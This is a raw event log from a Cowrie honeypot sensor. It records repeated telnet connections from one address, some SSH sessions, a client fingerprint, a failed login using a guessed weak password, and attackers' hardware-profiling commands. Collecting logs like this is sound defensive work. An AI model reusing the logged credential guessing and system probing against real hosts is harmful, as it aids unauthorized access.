{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:14.616331Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:14.619964Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:14.832298Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:15.292193Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:15.296244Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":40736,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c31887716f4","protocol":"telnet","message":"New connection: 152.53.125.71:40736 (10.17.0.5:23) [session: 6c31887716f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:15.304988Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:15.509339Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.7","message":"Connection lost after 23.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:15.515107Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":40750,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d8814b9a756","protocol":"telnet","message":"New connection: 152.53.125.71:40750 (10.17.0.5:23) [session: 8d8814b9a756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:16.269207Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":40766,"dst_ip":"10.17.0.5","dst_port":23,"session":"a54a493b0990","protocol":"telnet","message":"New connection: 152.53.125.71:40766 (10.17.0.5:23) [session: a54a493b0990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:16.332725Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":40778,"dst_ip":"10.17.0.5","dst_port":23,"session":"721914a40f4a","protocol":"telnet","message":"New connection: 152.53.125.71:40778 (10.17.0.5:23) [session: 721914a40f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:17.221536Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":40782,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f4f0c4550a7","protocol":"telnet","message":"New connection: 152.53.125.71:40782 (10.17.0.5:23) [session: 8f4f0c4550a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:17.238460Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":40798,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f4d9603ebe6","protocol":"telnet","message":"New connection: 152.53.125.71:40798 (10.17.0.5:23) [session: 9f4d9603ebe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:17.344905Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":40812,"dst_ip":"10.17.0.5","dst_port":23,"session":"9727cc0cf123","protocol":"telnet","message":"New connection: 152.53.125.71:40812 (10.17.0.5:23) [session: 9727cc0cf123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:17.349190Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":40824,"dst_ip":"10.17.0.5","dst_port":23,"session":"18c805a7acb8","protocol":"telnet","message":"New connection: 152.53.125.71:40824 (10.17.0.5:23) [session: 18c805a7acb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:18.312924Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":40834,"dst_ip":"10.17.0.5","dst_port":23,"session":"0795f08790ce","protocol":"telnet","message":"New connection: 152.53.125.71:40834 (10.17.0.5:23) [session: 0795f08790ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:18.477517Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":40838,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e333ee90a4b","protocol":"telnet","message":"New connection: 152.53.125.71:40838 (10.17.0.5:23) [session: 7e333ee90a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:18.506937Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":50378,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fffb9f6cdd3","protocol":"telnet","message":"New connection: 37.97.152.182:50378 (10.17.0.5:23) [session: 5fffb9f6cdd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:18.702791Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":40848,"dst_ip":"10.17.0.5","dst_port":23,"session":"07d1e507dc55","protocol":"telnet","message":"New connection: 152.53.125.71:40848 (10.17.0.5:23) [session: 07d1e507dc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:20.222928Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":40850,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a3ad497b964","protocol":"telnet","message":"New connection: 152.53.125.71:40850 (10.17.0.5:23) [session: 0a3ad497b964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:20.407734Z"}
{"eventid":"cowrie.session.closed","duration":42.409382820129395,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:20.493520Z","src_ip":"159.203.13.64","session":"bf5f27c010aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":40854,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfc9d2fca2f0","protocol":"telnet","message":"New connection: 152.53.125.71:40854 (10.17.0.5:23) [session: dfc9d2fca2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:21.414876Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":40862,"dst_ip":"10.17.0.5","dst_port":23,"session":"11b237305eb4","protocol":"telnet","message":"New connection: 152.53.125.71:40862 (10.17.0.5:23) [session: 11b237305eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:21.497734Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48290,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aebfb56e914","protocol":"telnet","message":"New connection: 159.203.13.64:48290 (10.17.0.5:23) [session: 0aebfb56e914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:24.183919Z"}
{"eventid":"cowrie.session.closed","duration":30.976081371307373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:24.193403Z","src_ip":"37.97.152.182","session":"9eb1799ad9b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35908,"dst_ip":"10.17.0.5","dst_port":23,"session":"909bb2aa2262","protocol":"telnet","message":"New connection: 152.53.125.71:35908 (10.17.0.5:23) [session: 909bb2aa2262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:25.471583Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35924,"dst_ip":"10.17.0.5","dst_port":23,"session":"a889b8090898","protocol":"telnet","message":"New connection: 152.53.125.71:35924 (10.17.0.5:23) [session: a889b8090898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:26.218624Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35926,"dst_ip":"10.17.0.5","dst_port":23,"session":"9421c699dcbf","protocol":"telnet","message":"New connection: 152.53.125.71:35926 (10.17.0.5:23) [session: 9421c699dcbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:26.310792Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35930,"dst_ip":"10.17.0.5","dst_port":23,"session":"691c89d9a677","protocol":"telnet","message":"New connection: 152.53.125.71:35930 (10.17.0.5:23) [session: 691c89d9a677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:26.371604Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35934,"dst_ip":"10.17.0.5","dst_port":23,"session":"b17b58416ab7","protocol":"telnet","message":"New connection: 152.53.125.71:35934 (10.17.0.5:23) [session: b17b58416ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:26.402831Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35942,"dst_ip":"10.17.0.5","dst_port":23,"session":"c26008bea648","protocol":"telnet","message":"New connection: 152.53.125.71:35942 (10.17.0.5:23) [session: c26008bea648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:26.408089Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35946,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4fafc491dde","protocol":"telnet","message":"New connection: 152.53.125.71:35946 (10.17.0.5:23) [session: e4fafc491dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:26.488072Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35952,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbcd7f0b5b96","protocol":"telnet","message":"New connection: 152.53.125.71:35952 (10.17.0.5:23) [session: bbcd7f0b5b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:26.567997Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35964,"dst_ip":"10.17.0.5","dst_port":23,"session":"22c8c65c0afd","protocol":"telnet","message":"New connection: 152.53.125.71:35964 (10.17.0.5:23) [session: 22c8c65c0afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:26.598829Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35978,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0d83eafb08a","protocol":"telnet","message":"New connection: 152.53.125.71:35978 (10.17.0.5:23) [session: c0d83eafb08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:26.604223Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35982,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cb17ac017ae","protocol":"telnet","message":"New connection: 152.53.125.71:35982 (10.17.0.5:23) [session: 2cb17ac017ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:27.222117Z"}
{"eventid":"cowrie.session.closed","duration":42.50818872451782,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:27.228421Z","src_ip":"159.203.13.64","session":"6c48c096288e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35986,"dst_ip":"10.17.0.5","dst_port":23,"session":"91d675b11837","protocol":"telnet","message":"New connection: 152.53.125.71:35986 (10.17.0.5:23) [session: 91d675b11837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:27.235751Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35998,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c911351a753","protocol":"telnet","message":"New connection: 152.53.125.71:35998 (10.17.0.5:23) [session: 8c911351a753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:27.332691Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36004,"dst_ip":"10.17.0.5","dst_port":23,"session":"72300b6a0f1d","protocol":"telnet","message":"New connection: 152.53.125.71:36004 (10.17.0.5:23) [session: 72300b6a0f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:27.558076Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36006,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a9487948538","protocol":"telnet","message":"New connection: 152.53.125.71:36006 (10.17.0.5:23) [session: 5a9487948538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:27.618513Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36016,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4e4b784923b","protocol":"telnet","message":"New connection: 152.53.125.71:36016 (10.17.0.5:23) [session: c4e4b784923b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:28.153649Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36030,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c297c4c91dc","protocol":"telnet","message":"New connection: 152.53.125.71:36030 (10.17.0.5:23) [session: 6c297c4c91dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:28.243125Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36046,"dst_ip":"10.17.0.5","dst_port":23,"session":"09821a27fb7e","protocol":"telnet","message":"New connection: 152.53.125.71:36046 (10.17.0.5:23) [session: 09821a27fb7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:28.266256Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36056,"dst_ip":"10.17.0.5","dst_port":23,"session":"44115e2f88a0","protocol":"telnet","message":"New connection: 152.53.125.71:36056 (10.17.0.5:23) [session: 44115e2f88a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:28.333650Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36062,"dst_ip":"10.17.0.5","dst_port":23,"session":"4152e82fc3ed","protocol":"telnet","message":"New connection: 152.53.125.71:36062 (10.17.0.5:23) [session: 4152e82fc3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:28.359403Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36066,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c97704a0dc1","protocol":"telnet","message":"New connection: 152.53.125.71:36066 (10.17.0.5:23) [session: 3c97704a0dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:28.408716Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36080,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4d6d676d030","protocol":"telnet","message":"New connection: 152.53.125.71:36080 (10.17.0.5:23) [session: a4d6d676d030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:28.442840Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36092,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb2dc458eb59","protocol":"telnet","message":"New connection: 152.53.125.71:36092 (10.17.0.5:23) [session: cb2dc458eb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:28.479622Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36104,"dst_ip":"10.17.0.5","dst_port":23,"session":"046477b0db33","protocol":"telnet","message":"New connection: 152.53.125.71:36104 (10.17.0.5:23) [session: 046477b0db33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:28.503427Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36120,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ead56320b36","protocol":"telnet","message":"New connection: 152.53.125.71:36120 (10.17.0.5:23) [session: 6ead56320b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:28.668687Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36126,"dst_ip":"10.17.0.5","dst_port":23,"session":"146609c75bbd","protocol":"telnet","message":"New connection: 152.53.125.71:36126 (10.17.0.5:23) [session: 146609c75bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:29.112043Z"}
{"eventid":"cowrie.session.closed","duration":31.269229888916016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:29.194098Z","src_ip":"152.53.125.71","session":"81aaab74424a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80192494392395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:29.329402Z","src_ip":"152.53.125.71","session":"400e5a566511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.181880235671997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:29.410970Z","src_ip":"152.53.125.71","session":"d967698399f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36142,"dst_ip":"10.17.0.5","dst_port":23,"session":"809c56a14a83","protocol":"telnet","message":"New connection: 152.53.125.71:36142 (10.17.0.5:23) [session: 809c56a14a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:29.499116Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35550,"dst_ip":"159.203.135.109","dst_port":22,"session":"38b4c7d7a7d7","protocol":"ssh","message":"New connection: 159.203.92.129:35550 (159.203.135.109:22) [session: 38b4c7d7a7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:29.581358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:29.585894Z","src_ip":"159.203.92.129","session":"38b4c7d7a7d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:29.590564Z","src_ip":"159.203.92.129","session":"38b4c7d7a7d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"altair","password":"123456","message":"login attempt [altair/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:29.603651Z","src_ip":"159.203.92.129","session":"38b4c7d7a7d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36154,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ce1dc951830","protocol":"telnet","message":"New connection: 152.53.125.71:36154 (10.17.0.5:23) [session: 8ce1dc951830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:30.590824Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:30.610416Z","src_ip":"159.203.92.129","session":"38b4c7d7a7d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36166,"dst_ip":"10.17.0.5","dst_port":23,"session":"d695f8662689","protocol":"telnet","message":"New connection: 152.53.125.71:36166 (10.17.0.5:23) [session: d695f8662689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:30.680230Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36178,"dst_ip":"10.17.0.5","dst_port":23,"session":"b68271232e1b","protocol":"telnet","message":"New connection: 152.53.125.71:36178 (10.17.0.5:23) [session: b68271232e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:30.731925Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46724,"dst_ip":"10.17.0.5","dst_port":23,"session":"290cbe2d48a2","protocol":"telnet","message":"New connection: 159.203.13.64:46724 (10.17.0.5:23) [session: 290cbe2d48a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:30.810426Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36190,"dst_ip":"10.17.0.5","dst_port":23,"session":"451736cee57a","protocol":"telnet","message":"New connection: 152.53.125.71:36190 (10.17.0.5:23) [session: 451736cee57a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:31.234170Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36204,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5e65752b767","protocol":"telnet","message":"New connection: 152.53.125.71:36204 (10.17.0.5:23) [session: d5e65752b767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:31.319654Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36218,"dst_ip":"10.17.0.5","dst_port":23,"session":"e579a6204e60","protocol":"telnet","message":"New connection: 152.53.125.71:36218 (10.17.0.5:23) [session: e579a6204e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:31.329434Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36220,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b1539a33e17","protocol":"telnet","message":"New connection: 152.53.125.71:36220 (10.17.0.5:23) [session: 1b1539a33e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:31.366572Z"}
